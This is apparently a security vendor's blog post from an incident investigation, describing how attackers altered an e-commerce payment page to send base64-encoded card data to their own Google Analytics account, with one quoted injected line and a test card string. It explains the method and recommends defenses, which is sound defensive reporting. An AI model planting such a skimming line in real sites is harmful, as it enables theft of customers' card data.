Trustwave SpiderLabs Uncovers Ov3r_Stealer Malware Spread via Phishing and Facebook Advertising. Learn More

Trustwave SpiderLabs Uncovers Ov3r_Stealer Malware Spread via Phishing and Facebook Advertising. Learn More

Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Card Data Siphon with Google Analytics

The introduction of EMV (Chip &Pin) payment devices in 2003 resulted in a rapid decline in physical creditcard cloning in Europe. EMV technology has also led to anincrease in attacks on e-commerce systems targeting cardholder data.

Each year, Trustwave SpiderLabs investigates hundreds of incidentsof data compromise. I work on some of these investigations and occasionally getto evaluate some rather unusual attack vectors. This blog post details a noveldata extraction technique using Google Analytics that I found during a recentinvestigation. We have evidence of this technique being used in the wild. Forthe purposes of this article, however, I have replicated the attack in a testenvironment.

Once an attacker accesses an e-commerce system, their next step is locating cardholder data. In most of my investigations, I see attackers either download stored credit card data or modify source code to capture data as it passes through the system and then send it back to their own system. In this particular case, the merchant did not store credit card information. As a result, the attackers captured the data as it entered the system and then siphoned it to their own system.

We see many forms of real-time capturing of credit card data. In the majority of cases, attackers change a payment page's source code to send the data to an e-mail address, a different server via POST requests, or a storage file for later collection. These techniques rely on the merchant's server sending the data outbound or storing it internally, which could be detected by network monitoring.

In this case, whilst reviewing the source code for the merchant's payment pages, I noticed that a line had been added at the bottom of the page. That line of code appeared to collect data entered into the credit card fields in a base64 encoded string:


At this point, I'd expect to see the php variable '$a' being sent to a malicious IP address but couldn't find any evidence of this. After further review of the source code, I found the variable '$a' being referenced in the following piece of code:


This modified source code instructs the customer's browser to send the string '$a' – which contains a customer's base64 encoded credit card data - to Google Analytics via JavaScript. The attacker had replaced merchant's Google Analytics account ID to his own - 'UA-00000000-1'. The other line added, _gaq.push(['_set', 'page', '".$a."']), passed the base64 encoded string '$a' to Google Analytics as a page name variable.

Even the most savvy of customers, those who monitor their HTTP requests, could fail to identify this malicious activity. The base64 encoded string is not displayed on the page, and the outbound request is sent to the trusted Google brand. The requests do not seem out of the ordinary as the merchant's website already used Google Analytics.

With these modifications in place, the attackers can sit back and let the credit cards roll in. Once a week they can log-in to their Google Analytics accounts and harvest cardholder data via the base64 encoded page names.

After discovering this innovative use of Google's JavaScript to extract credit card data, I wanted to test this independently. To demonstrate, I setup my own Google Analytics account and created base64 encoded strings similar to:

Original: Richard|Wells|4111111111111111|1234|123|ITWORKS

These strings were then sent from a website to my Analytics account, using hacked JavaScript. Once I logged-in to Google Analytics I was presented with the following screen:


The truncated string in the 'Page' field can be found in full within the Google Analytics source code:

Decoding the string provides me with the original message, or in the case of our attackers – the credit card details. My next question was, "While the extraction method works, what can be seen from the client side?".

The browser just shows a Google Analytics request, posting a base64 string, which wouldn't look out of place on most websites.

It is interesting to note that at no point in this process did I have to verify with Google that I was the owner of the webpage. This is a potential issue that could be resolved by only allowing one registered Analytics user per domain.

Using Google Analytics to extract credit card data is stealthy as no data is directly passed from the server and will not appear in web logs. Neither will anti-virus detect it. The best methods to defend against these sorts of attacks are File Integrity Monitoring and alerting for any changes made to the source code. Setting appropriate read-only permissions for the web users would also help to defend against real-time capture of credit cards.

Latest SpiderLabs Blogs

Welcome to Adventures in Cybersecurity: The Defender Series

I’m happy to say I’m done chasing Microsoft certifications (AZ104/AZ500/SC100), and as a result, I’ve had the time to put some effort into a blog series that hopefully will entertain and inform you...

Read More

Trustwave SpiderLabs: Insights and Solutions to Defend Educational Institutions Against Cyber Threats

Security teams responsible for defending educational institutions at higher education and primary school levels often find themselves facing harsh lessons from threat actors who exploit the numerous...

Read More

Breakdown of Tycoon Phishing-as-a-Service System

Just weeks after Trustwave SpiderLabs reported on the Greatness phishing-as-a-service (PaaS) framework, SpiderLabs’ Email Security team is tracking another PaaS called Tycoon Group.

Read More